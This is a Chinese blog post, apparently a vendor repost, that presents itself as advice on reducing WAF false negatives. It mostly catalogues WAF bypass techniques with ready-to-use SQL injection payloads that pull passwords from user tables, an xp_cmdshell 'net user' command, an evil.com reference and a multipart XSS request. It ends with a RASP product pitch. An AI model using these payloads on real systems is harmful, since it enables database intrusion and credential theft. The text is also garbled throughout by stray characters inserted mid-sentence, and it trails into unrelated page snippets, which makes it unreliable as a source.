減少 WAF 漏報(bào)的 8 種方法 官帘!

近十年來,WAF 已經(jīng)逐漸發(fā)展成熟昧谊,被軟件行業(yè)接受并成為無數(shù)企業(yè)保護(hù)應(yīng)用的不二選擇刽虹。很多大型企業(yè)甚至相繼親自設(shè)計(jì)或通過并購(gòu)涉足其中,在這個(gè)碩大的市場(chǎng)里逐鹿競(jìng)爭(zhēng)呢诬,同時(shí)也推動(dòng)了應(yīng)用層防火墻的技術(shù)演進(jìn)涌哲。

與傳統(tǒng)防火墻工作在傳輸層或網(wǎng)絡(luò)層不同,WAF 工作在應(yīng)用層尚镰,基于對(duì) Web 應(yīng)用業(yè)務(wù)和邏輯的理解阀圾,WAF 對(duì)各類請(qǐng)求進(jìn)行內(nèi)容檢測(cè)和驗(yàn)證,可以做到實(shí)時(shí)阻斷非法的請(qǐng)求狗唉,從而對(duì)各類網(wǎng)站應(yīng)用進(jìn)行有效保護(hù)初烘。

然而道高一尺,魔高一丈》指現(xiàn)代黑客的技術(shù)水平也在日新月異肾筐,零日攻擊早已不是新鮮事,WAF 做為把守應(yīng)用安全的重要一關(guān)難逃此劫缸剪。從原理上講局齿,WAF 實(shí)施的還是基于協(xié)議理解+內(nèi)容正則匹配的工作方式,當(dāng)企業(yè)應(yīng)用代碼更新時(shí)橄登,亦要及時(shí)更新規(guī)則集抓歼,避免誤報(bào)造成業(yè)務(wù)中斷讥此;在另一方面,企業(yè)需要有個(gè)跟蹤安全動(dòng)態(tài)的方案谣妻,以期當(dāng)形形色色新的攻擊方式出現(xiàn)時(shí)萄喳,可以第一時(shí)間更新規(guī)則集,否則就有可能被黑客鉆了空子造成損失蹋半。因此他巨,誤報(bào)和漏報(bào)是懸在應(yīng)用 WAF 保護(hù)的企業(yè)頭頂?shù)膬砂牙校绕湟院笳邽樯酢?/p>

要解決這兩個(gè)問題减江,簡(jiǎn)而言之:前者需要增加研發(fā)投入染突,將 WAF 規(guī)則集更新納入正常的研發(fā)流程管理起來;后者的基本思路則是吃透 WAF辈灼,知己知彼份企,百戰(zhàn)不殆。想了解怎樣防先要知道對(duì)手可能怎樣攻巡莹。在此司志,我想嘗試著列舉一下企業(yè)可以在哪些方面下功夫使 WAF 變得更加靠譜,減少漏報(bào)降宅。這其中包括個(gè)人的經(jīng)驗(yàn)骂远,也包括一些網(wǎng)友分享的經(jīng)驗(yàn),以饗讀者腰根。

1激才,大小寫混排

這可以算最容易想到的方式了。大小寫繞過用于只針對(duì)小寫或大寫的關(guān)鍵字匹配技術(shù)额嘿,正則表達(dá)式 /express/i 大小寫不敏感即無法繞過贸营,這是最簡(jiǎn)單的繞過技術(shù)。

舉例:z.com/index.php?page_id=-15 uNIoN sELecT 1,2,3,4

減少漏報(bào)方法:對(duì)每個(gè)關(guān)鍵字或每種情況都做大小寫轉(zhuǎn)換的處理岩睁。

2,替換關(guān)鍵字

這種情況下大小寫轉(zhuǎn)化無法繞過揣云,而且正則表達(dá)式會(huì)替換或刪除 select捕儒、union 這些關(guān)鍵字,如果只匹配一次就很容易繞過邓夕。

舉例:z.com/index.php?page_id=-15 UNIunionON SELselectECT 1,2,3,4

減少漏報(bào)方法:這種替換可以構(gòu)造得更復(fù)雜:SeLSeselectleCTecT刘莹,設(shè)計(jì)循環(huán)匹配邏輯才可以封堵住。

3焚刚,對(duì)一些攻擊特征串進(jìn)行不同的編碼

如 URL 編碼点弯,ASCII,Unicode 等矿咕,使用一些非標(biāo)準(zhǔn)的編碼很容易就可以繞過 WAF抢肛。

  1. URL 編碼
    在 Chrome 中輸入一個(gè)連接狼钮,非保留字的字符瀏覽器會(huì)對(duì)其 URL 編碼,如空格變?yōu)?20捡絮、單引號(hào)%27熬芜、左括號(hào)%28、右括號(hào)%29
    普通的URL編碼可能無法實(shí)現(xiàn)繞過福稳,還存在一種情況URL編碼只進(jìn)行了一次過濾涎拉,可以用兩次編碼繞過:page.php?id=1%252f%252a*/UNION%252f%252a /SELECT

  2. 十六進(jìn)制編碼
    舉例:

     z.com/index.php?page_id=-15 /*!u%6eion*/ /*!se%6cect*/ 1,2,3,4…
     SELECT(extractvalue(0x3C613E61646D696E3C2F613E,0x2f61))
    

示例代碼中,前者是對(duì)單個(gè)字符十六進(jìn)制編碼的圆,后者則是對(duì)整個(gè)字符串編碼鼓拧,使用上來說較少見一點(diǎn)。

  1. Unicode編碼
    Unicode有所謂的標(biāo)準(zhǔn)編碼和非標(biāo)準(zhǔn)編碼越妈,假設(shè)我們用的utf-8為標(biāo)準(zhǔn)編碼季俩,那么西歐語(yǔ)系所使用的就是非標(biāo)準(zhǔn)編碼了。

看一下常用的幾個(gè)符號(hào)的一些Unicode編碼:

  • 單引號(hào): %u0027叮称、%u02b9种玛、%u02bc、 %u02c8瓤檐、 %u2032赂韵、 %uff07、 %c0%27挠蛉、 %c0%a7祭示、 %e0%80%a7
  • 空格:%u0020、%uff00谴古、%c0%20质涛、%c0%a0、%e0%80%a0
  • 左括號(hào):%u0028掰担、%uff08汇陆、%c0%28、%c0%a8带饱、%e0%80%a8
  • 右括號(hào):%u0029毡代、%uff09、%c0%29勺疼、%c0%a9教寂、%e0%80%a9

舉例:?id=10%D6‘%20AND%201=2%23 SELECT ‘?’=’A’; #1

兩個(gè)示例中,前者利用雙字節(jié)繞過执庐,比如對(duì)單引號(hào)轉(zhuǎn)義操作變成 \’酪耕,那么就變成了 %D6%5C’,%D6%5C 構(gòu)成了一個(gè)雙字節(jié)即 Unicode 字節(jié)轨淌,單引號(hào)可以正常使用迂烁。

第二個(gè)示例使用的是兩種不同編碼的字符的比較看尼,它們比較的結(jié)果可能是 True 或者 False ,關(guān)鍵在于 Unicode 編碼種類繁多婚被,基于黑名單的過濾器無法處理所有情況狡忙,從而實(shí)現(xiàn)繞過。

另外平時(shí)聽得多一點(diǎn)的可能是 utf-7 的繞過址芯,還有 utf-16灾茁、utf-32 的繞過,后者曾成功的實(shí)現(xiàn)對(duì) google 的繞過谷炸,有興趣的朋友可以去了解下北专。

減少漏報(bào)方法:暫無,有待調(diào)研

4旬陡,使用注釋

看一下常見的用于注釋的符號(hào)有哪些://, — , /**/, #, –+,– -, ;拓颓,–a

  1. 普通注釋

    舉例:z.com/index.php?page_id=-15 %55nION/**/%53ElecT 1,2,3,4 ‘union%a0select pass from users#

    /**/在構(gòu)造得查詢語(yǔ)句中插入注釋,規(guī)避對(duì)空格的依賴或關(guān)鍵字識(shí)別; #描孟、–+ 用于終結(jié)語(yǔ)句的查詢

  • 內(nèi)聯(lián)注釋
    相比普通注釋驶睦,內(nèi)聯(lián)注釋用的更多,它有一個(gè)特性 /!**/ 只有MySQL能識(shí)別
    舉例:index.php?page_id=-15 /*!UNION*/ /*!SELECT*/ 1,2,3 ?page_id=null%0A/**//*!50000%55nIOn*//*yoyu*/all/**/%0A/*!%53eLEct*/%0A/*nnaa*/+1,2,3,4…

兩個(gè)示例中前者使用內(nèi)聯(lián)注釋匿醒,后者還用到了普通注釋场航。使用注釋一個(gè)很有用的做法便是對(duì)關(guān)鍵字的拆分,要做到這一點(diǎn)后面討論的特殊符號(hào)也能實(shí)現(xiàn)廉羔,當(dāng)然前提是包括/溉痢、*在內(nèi)的這些字符能正常使用。

減少漏報(bào)方法:增加 WAF 匹配規(guī)則對(duì)注視的支持

5憋他,等價(jià)函數(shù)與命令

有些函數(shù)或命令因其關(guān)鍵字被檢測(cè)出來而無法使用,但是在很多情況下可以使用與之等價(jià)或類似的代碼替代其使用竹挡。

  1. 函數(shù)或變量

    hex()镀娶、bin() ==> ascii()
    sleep() ==>benchmark()
    concat_ws()==>group_concat()
    mid()、substr() ==> substring()
    @@user ==> user()
    @@datadir ==> datadir()

舉例:

         substring()和substr()無法使用時(shí):?                                                            id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74
        或者:substr((select ‘password’),1,1) = 0×70
        strcmp(left(‘password’,1), 0×69) = 1
        strcmp(left(‘password’,1), 0×70) = 0
        strcmp(left(‘password’,1), 0×71) = -1

上述這幾個(gè)示例用于說明有時(shí)候當(dāng)某個(gè)函數(shù)不能使用時(shí)揪罕,還可以找到其他的函數(shù)替代其實(shí)現(xiàn)梯码,置于select、uinon耸序、where等關(guān)鍵字被限制如何處理將在后面filter部分討論。

  1. 符號(hào)
    and和or有可能不能使用鲁猩,或者可以試下&&和||能不能用坎怪;還有=不能使用的情況,可以考慮嘗試廓握,因?yàn)槿绻恍∮谟植淮笥诮亮沁吺堑扔诹?br> 在看一下用得多的空格嘁酿,可以使用如下符號(hào)表示其作用:%20 %09 %0a %0b %0c %0d %a0 /**/

  2. 生僻函數(shù)

     MySQL/PostgreSQL支持XML函數(shù):Select UpdateXML(‘’,’/script/@x/’,’src=//evil.com’);
     ?id=1 and 1=(updatexml(1,concat(0x3a,(select user())),1))
     SELECT xmlelement(name img,xmlattributes(1as src,’a\l\x65rt(1)’as         \117n\x65rror)); //postgresql
     ?id=1 and extractvalue(1, concat(0x5c, (select table_name from         information_schema.tables limit 1)));
    

MySQL、PostgreSQL男应、Oracle它們都有許多自己的函數(shù)闹司,基于黑名單的filter要想涵蓋這么多東西從實(shí)際上來說不太可能,而且代價(jià)太大沐飘,看來黑名單技術(shù)到一定程度便遇到了限制游桩。

減少漏報(bào)方法:增加WAF規(guī)則集的匹配支持

6,特殊符號(hào)

這里我把非字母數(shù)字的字符都規(guī)在了特殊符號(hào)一類耐朴,特殊符號(hào)有特殊的含義和用法借卧,涉及信息量比前面提到的幾種都要多。

先看下烏云drops上“waf的繞過技巧”一文使用的幾個(gè)例子:

  • 使用反引號(hào)`铐刘,例如select `version()`,可以用來過空格和正則挂签,特殊情況下還可以將其做注釋符用
  • 神奇的”-+.”,select+id-1+1.from users; “+”是用于字符串連接的画株,”-”和”.”在此也用于連接,可以逃過空格和關(guān)鍵字過濾
  • @符號(hào),select@^1.from users; @用于變量定義如@var_name诗祸,一個(gè)@表示用戶定義,@@表示系統(tǒng)變量
  • Mysql function() as xxx 也可不用as和空格, select-count(id)test from users; //繞過空格限制

可見,使用這些字符的確是能做很多事械荷,也證實(shí)了那句老話痹兜,只有想不到,沒有做不到。
本人搜羅了部分可能發(fā)揮大作用的字符(未包括’洲脂、*、/等在內(nèi)一铅,考慮到前面已經(jīng)出現(xiàn)較多次了):````、~卜录、!、@、%绊汹、()、[]轿偎、.萝玷、-沛慢、+ 、|、%00```

舉例:

關(guān)鍵字拆分:‘se’+’lec’+’t’
%S%E%L%E%C%T 1
1.aspx?id=1;EXEC(‘ma’+’ster..x’+’p_cm’+’dsh’+’ell ”net user”’)
!和():’ or –+2=- -!!!’2
id=1+(UnI)(oN)+(SeL)(EcT) //另 Access中,”[]”用于表和列,”()”用于數(shù)值也可以做分隔

本節(jié)最后給出一些和這些字符多少有點(diǎn)關(guān)系的操作符供參考:

>>, <<, >=,,,XOR, DIV, SOUNDS LIKE, RLIKE, REGEXP, IS, NOT, BETWEEN

使用這些”特殊符號(hào)”實(shí)現(xiàn)繞過是一件很細(xì)微的事情,一方面各家數(shù)據(jù)庫(kù)對(duì)有效符號(hào)的處理是不一樣的,另一方面你得充分了解這些符號(hào)的特性和使用方法才能作為繞過手段。

減少漏報(bào)方法:增加WAF規(guī)則集的匹配支持

7,HTTP參數(shù)控制

這里HTTP參數(shù)控制除了對(duì)查詢語(yǔ)句的參數(shù)進(jìn)行篡改投慈,還包括HTTP方法承耿、HTTP頭的控制

  1. HPP(HTTP Parameter Polution)

     舉例:/?id=1;select+1,2,3+from+users+where+id=1—
     /?id=1;select+1&id=2,3+from+users+where+id=1—
     /?id=1/**/union/*&id=*/select/*&id=*/pwd/*&id=*/from/*&id=*/users
    

HPP又稱做重復(fù)參數(shù)污染,最簡(jiǎn)單的就是?uid=1&uid=2&uid=3伪煤,對(duì)于這種情況抱既,不同的Web服務(wù)器處理方式如下:
具體WAF如何處理蚀之,要看其設(shè)置的規(guī)則讶泰,不過就示例中最后一個(gè)來看有較大可能繞過狼犯。

  1. HPF(HTTP Parameter Fragment)
    這種方法是HTTP分割注入,同CRLF有相似之處(使用控制字符%0a领铐、%0d等執(zhí)行換行)
    舉例:

     /?a=1+union/*&b=*/select+1,pass/*&c=*/from+users–
     select * from table where a=1 union/* and b=*/select 1,pass/* limit */from users—
    

看罷上面兩個(gè)示例呐馆,發(fā)現(xiàn)和HPP最后一個(gè)示例很像,不同之處在于參數(shù)不一樣莲兢,這里是在不同的參數(shù)之間進(jìn)行分割汹来,到了數(shù)據(jù)庫(kù)執(zhí)行查詢時(shí)再合并語(yǔ)句。

  1. HPC(HTTP Parameter Contamination)
    這一概念見于exploit-db上的paper:Beyond SQLi: Obfuscate and Bypass改艇,Contamination同樣意為污染收班。

RFC2396定義了如下一些字符:

    Unreserved: a-z, A-Z, 0-9 and _ . ! ~ * ‘ ()
    Reserved : ; / ? : @ & = + $ ,
     Unwise : { } | \ ^ [ ] `

不同的Web服務(wù)器處理處理構(gòu)造得特殊請(qǐng)求時(shí)有不同的邏輯:
以魔術(shù)字符%為例,Asp/Asp.net會(huì)受到影響

減少漏報(bào)方法:增加WAF規(guī)則集的匹配支持

8谒兄,緩沖區(qū)溢出(Advanced)

緩沖區(qū)溢出用于對(duì)付WAF摔桦,有不少WAF是C語(yǔ)言寫的,而C語(yǔ)言自身沒有緩沖區(qū)保護(hù)機(jī)制承疲,因此如果WAF在處理測(cè)試向量時(shí)超出了其緩沖區(qū)長(zhǎng)度邻耕,就會(huì)引發(fā)bug從而實(shí)現(xiàn)繞過。

舉例:

 ?id=1 and (select 1)=(Select 0xA*1000)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26

示例0xA*1000指0xA后面”A”重復(fù)1000次燕鸽,一般來說對(duì)應(yīng)用軟件構(gòu)成緩沖區(qū)溢出都需要較大的測(cè)試長(zhǎng)度兄世,這里1000只做參考,在某些情況下可能不需要這么長(zhǎng)也能溢出

此外啊研,有時(shí)把使用GET方法的攻擊轉(zhuǎn)換成使用POST方法的攻擊可能會(huì)避開某些過濾御滩。因?yàn)樵S多應(yīng)用程序只針對(duì)某種類型的請(qǐng)求執(zhí)行過濾鸥拧,如GET請(qǐng)求,阻止已知的攻擊字符串削解。如果一個(gè)應(yīng)用程序希望收到使用GET方法的請(qǐng)求富弦,使用POST請(qǐng)求就可以完全避開這種過濾。

再來看一個(gè)因沒有正確解析HTTP Request數(shù)據(jù)包導(dǎo)致的WAF繞過氛驮,觸發(fā)一個(gè)XSS:

POST /demo.php HTTP/1.0
Content-Type: multipart/form-data; boundary=0000
Content-Length: 97
–0000–
Content-Disposition: form-data; name=x’;filename=”‘;name=payload;”
<script>alert(1)</script>
–0000–

正常的HTTP應(yīng)該是如下:

POST /demo.php HTTP/1.0
Content-Type: multipart/form-data; boundary=0000
Content-Length: 97
–0000–
Content-Disposition: form-data; name=”upfile”; filename=”payload”
<script>alert(1)</script>
–0000–

對(duì)比上面?zhèn)z個(gè) HTTP 頭舆声,給我們提供了 WAF 繞過的思路——修改攻擊特征串或 HTTP 中的一細(xì)節(jié),讓 WAF 無法解析或者解析錯(cuò)誤導(dǎo)致繞過柳爽。(許多 WAF 對(duì)無法解析的 HTTP 頭,默認(rèn)直接 BYPASS碱屁,因此要考慮在配置上針對(duì)這種情況做嚴(yán)格過濾)

以上列舉了八種繞過 WAF 的方式磷脯,一般的解決方案無外乎增加 WAF 規(guī)則集的匹配支持,看下來心情想必是不輕松的(也是夠長(zhǎng)娩脾,累赵誓,值得贊賞),可見吃透 WAF 和堵住 WAF 漏洞非一日之功可及柿赊。在這個(gè)快節(jié)奏的時(shí)代有沒有另辟蹊徑的思路呢俩功?既然想到了,那搜索之后答案也是肯定的——它就是下一代安全防護(hù)機(jī)制“運(yùn)行時(shí)應(yīng)用自我保護(hù)”(RASP)碰声。

為什么說 RASP 可以幫助企業(yè)擺脫 WAF 這種累死人不償命的解決方案呢诡蜓?

舉個(gè)例子也許大家就明白了。RASP 通常使用探針技術(shù)來嵌入應(yīng)用胰挑,而發(fā)揮防護(hù)作用的正是探針蔓罚。不像 WAF 使用旁路監(jiān)聽或前置等方式在門外站崗,探針運(yùn)行在應(yīng)用的執(zhí)行環(huán)境內(nèi)部瞻颂,就像白細(xì)胞之于人體一般將惡意攻擊攔截消滅豺谈。例如 SQL 注入攻擊請(qǐng)求嘗試以任意用戶身份滲透進(jìn)入數(shù)據(jù)庫(kù),在請(qǐng)求到達(dá)應(yīng)用內(nèi)部試圖調(diào)用 JDBC 接口時(shí)贡这,值班的探針就可以監(jiān)測(cè)到這個(gè)異常請(qǐng)求茬末,并在數(shù)據(jù)庫(kù)操作執(zhí)行之前將其攔下。這種工作方式類似守在金庫(kù)入口的保安盖矫,是明顯區(qū)別于在外圍筑城墻并在城門洞設(shè)安檢每過必查的 WAF 治安警察的丽惭。

如果大家理解了這種攔截方式,就會(huì)想到辈双,RASP 的保護(hù)依賴對(duì)各種調(diào)用接口的適配吐根。或許有人會(huì)質(zhì)疑辐马,這不是依然在走 WAF 的老路么拷橘?我的回答是此路非彼路局义。RASP 需要適配的接口是通用接口,而且是面向數(shù)據(jù)資源的接口(源于數(shù)據(jù)的價(jià)值)冗疮,是企業(yè)搭建業(yè)務(wù)上層建筑依賴的底層基礎(chǔ)萄唇,而非千變?nèi)f化的業(yè)務(wù)接口,所以 RASP 跟蹤并適應(yīng)行業(yè)變化的速度是WAF等傳統(tǒng)防護(hù)理念無法企及的术幔。

盡管聽起來看上去形式相似另萤,但有本質(zhì)區(qū)別。誠(chéng)然诅挑, RASP 和 WAF 都要理解并識(shí)別惡意請(qǐng)求的攻擊代碼四敞,從而進(jìn)行正則匹配和識(shí)別,所以二者在這個(gè)工作量上都不少拔妥。但 RASP 天生的地緣優(yōu)勢(shì)決定忿危,近水樓臺(tái)先得月,憑借對(duì)應(yīng)用執(zhí)行邏輯的上下文理解没龙,RASP 比 WAF 更有機(jī)會(huì)去學(xué)習(xí)如何更好地抵御惡意攻擊铺厨,這也是新應(yīng)用安全架構(gòu)常常提到的自適應(yīng)一詞的部分含義。而且萬變不離其宗硬纤,多樣的外部攻擊字符串到了金庫(kù)門口的時(shí)候解滓,表現(xiàn)形式無非就是幾種操作,這使得 RASP 花在匹配攻擊字符串上的開銷肯定比 WAF 要少筝家。

總結(jié)一下洼裤,RASP 可以給企業(yè)應(yīng)用帶來基因上的改變,在不需要應(yīng)用修復(fù)漏洞的條件下提供保護(hù)溪王,并免去了 WAF 繁雜又頻繁的配置和維護(hù)成本逸邦,給企業(yè)安全領(lǐng)域帶來實(shí)質(zhì)價(jià)值的同時(shí),開啟了新的想象空間在扰,解決零日攻擊也隨之變得并非天方夜譚缕减。

參考資料:
WAF防護(hù)機(jī)制和繞過 http://blog.levsonsafe.com/?p=360
淺談WAF繞過 http://netsecurity.51cto.com/art/201212/374068.htm

本文系 OneASP 質(zhì)量架構(gòu)工程師王新泉原創(chuàng)文章。如今芒珠,多樣化的攻擊手段層出不窮桥狡,傳統(tǒng)安全解決方案越來越難以應(yīng)對(duì)網(wǎng)絡(luò)安全攻擊。OneRASP 實(shí)時(shí)應(yīng)用自我保護(hù)技術(shù),可以為軟件產(chǎn)品提供精準(zhǔn)的實(shí)時(shí)保護(hù)皱卓,使其免受漏洞所累裹芝。想閱讀更多技術(shù)文章,請(qǐng)?jiān)L問 OneAPM 官方技術(shù)博客

本文轉(zhuǎn)自 OneAPM 官方博客

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
  • 序言:七十年代末娜汁,一起剝皮案震驚了整個(gè)濱河市嫂易,隨后出現(xiàn)的幾起案子,更是在濱河造成了極大的恐慌掐禁,老刑警劉巖怜械,帶你破解...
    沈念sama閱讀 216,744評(píng)論 6 502
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件颅和,死亡現(xiàn)場(chǎng)離奇詭異,居然都是意外死亡缕允,警方通過查閱死者的電腦和手機(jī)峡扩,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 92,505評(píng)論 3 392
  • 文/潘曉璐 我一進(jìn)店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來障本,“玉大人教届,你說我怎么就攤上這事〖菟” “怎么了案训?”我有些...
    開封第一講書人閱讀 163,105評(píng)論 0 353
  • 文/不壞的土叔 我叫張陵,是天一觀的道長(zhǎng)粪糙。 經(jīng)常有香客問我强霎,道長(zhǎng),這世上最難降的妖魔是什么猜旬? 我笑而不...
    開封第一講書人閱讀 58,242評(píng)論 1 292
  • 正文 為了忘掉前任,我火速辦了婚禮倦卖,結(jié)果婚禮上洒擦,老公的妹妹穿的比我還像新娘。我一直安慰自己怕膛,他們只是感情好熟嫩,可當(dāng)我...
    茶點(diǎn)故事閱讀 67,269評(píng)論 6 389
  • 文/花漫 我一把揭開白布。 她就那樣靜靜地躺著褐捻,像睡著了一般掸茅。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發(fā)上柠逞,一...
    開封第一講書人閱讀 51,215評(píng)論 1 299
  • 那天昧狮,我揣著相機(jī)與錄音,去河邊找鬼板壮。 笑死逗鸣,一個(gè)胖子當(dāng)著我的面吹牛,可吹牛的內(nèi)容都是我干的绰精。 我是一名探鬼主播撒璧,決...
    沈念sama閱讀 40,096評(píng)論 3 418
  • 文/蒼蘭香墨 我猛地睜開眼,長(zhǎng)吁一口氣:“原來是場(chǎng)噩夢(mèng)啊……” “哼笨使!你這毒婦竟也來了卿樱?” 一聲冷哼從身側(cè)響起,我...
    開封第一講書人閱讀 38,939評(píng)論 0 274
  • 序言:老撾萬榮一對(duì)情侶失蹤硫椰,失蹤者是張志新(化名)和其女友劉穎繁调,沒想到半個(gè)月后萨蚕,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體,經(jīng)...
    沈念sama閱讀 45,354評(píng)論 1 311
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡涉馁,尸身上長(zhǎng)有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 37,573評(píng)論 2 333
  • 正文 我和宋清朗相戀三年门岔,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片烤送。...
    茶點(diǎn)故事閱讀 39,745評(píng)論 1 348
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡寒随,死狀恐怖,靈堂內(nèi)的尸體忽然破棺而出帮坚,到底是詐尸還是另有隱情妻往,我是刑警寧澤,帶...
    沈念sama閱讀 35,448評(píng)論 5 344
  • 正文 年R本政府宣布试和,位于F島的核電站讯泣,受9級(jí)特大地震影響,放射性物質(zhì)發(fā)生泄漏阅悍。R本人自食惡果不足惜好渠,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 41,048評(píng)論 3 327
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望节视。 院中可真熱鬧拳锚,春花似錦、人聲如沸寻行。這莊子的主人今日做“春日...
    開封第一講書人閱讀 31,683評(píng)論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽(yáng)拌蜘。三九已至杆烁,卻和暖如春,著一層夾襖步出監(jiān)牢的瞬間简卧,已是汗流浹背兔魂。 一陣腳步聲響...
    開封第一講書人閱讀 32,838評(píng)論 1 269
  • 我被黑心中介騙來泰國(guó)打工, 沒想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留举娩,地道東北人入热。 一個(gè)月前我還...
    沈念sama閱讀 47,776評(píng)論 2 369
  • 正文 我出身青樓,卻偏偏與公主長(zhǎng)得像晓铆,于是被迫代替她去往敵國(guó)和親勺良。 傳聞我的和親對(duì)象是個(gè)殘疾皇子,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 44,652評(píng)論 2 354

推薦閱讀更多精彩內(nèi)容

  • 前言 WAF(Web Application Firewall),網(wǎng)站應(yīng)用級(jí)入侵防御系統(tǒng)链蕊,通過執(zhí)行一系列針對(duì) HT...
    泡面辦公室閱讀 2,312評(píng)論 0 7
  • http://192.168.136.131/sqlmap/mysql/get_int.php?id=1 當(dāng)給sq...
    xuningbo閱讀 10,301評(píng)論 2 22
  • sqlmap用戶手冊(cè) 說明:本文為轉(zhuǎn)載事甜,對(duì)原文中一些明顯的拼寫錯(cuò)誤進(jìn)行修正谬泌,并標(biāo)注對(duì)自己有用的信息。 ======...
    wind_飄閱讀 2,044評(píng)論 0 5
  • 一套實(shí)用的滲透測(cè)試崗位面試題逻谦,你會(huì)嗎掌实? 1.拿到一個(gè)待檢測(cè)的站,你覺得應(yīng)該先做什么邦马? 收集信息 whois贱鼻、網(wǎng)站源...
    g0閱讀 4,830評(píng)論 0 9
  • 1. Java基礎(chǔ)部分 基礎(chǔ)部分的順序:基本語(yǔ)法,類相關(guān)的語(yǔ)法滋将,內(nèi)部類的語(yǔ)法邻悬,繼承相關(guān)的語(yǔ)法,異常的語(yǔ)法随闽,線程的語(yǔ)...
    子非魚_t_閱讀 31,624評(píng)論 18 399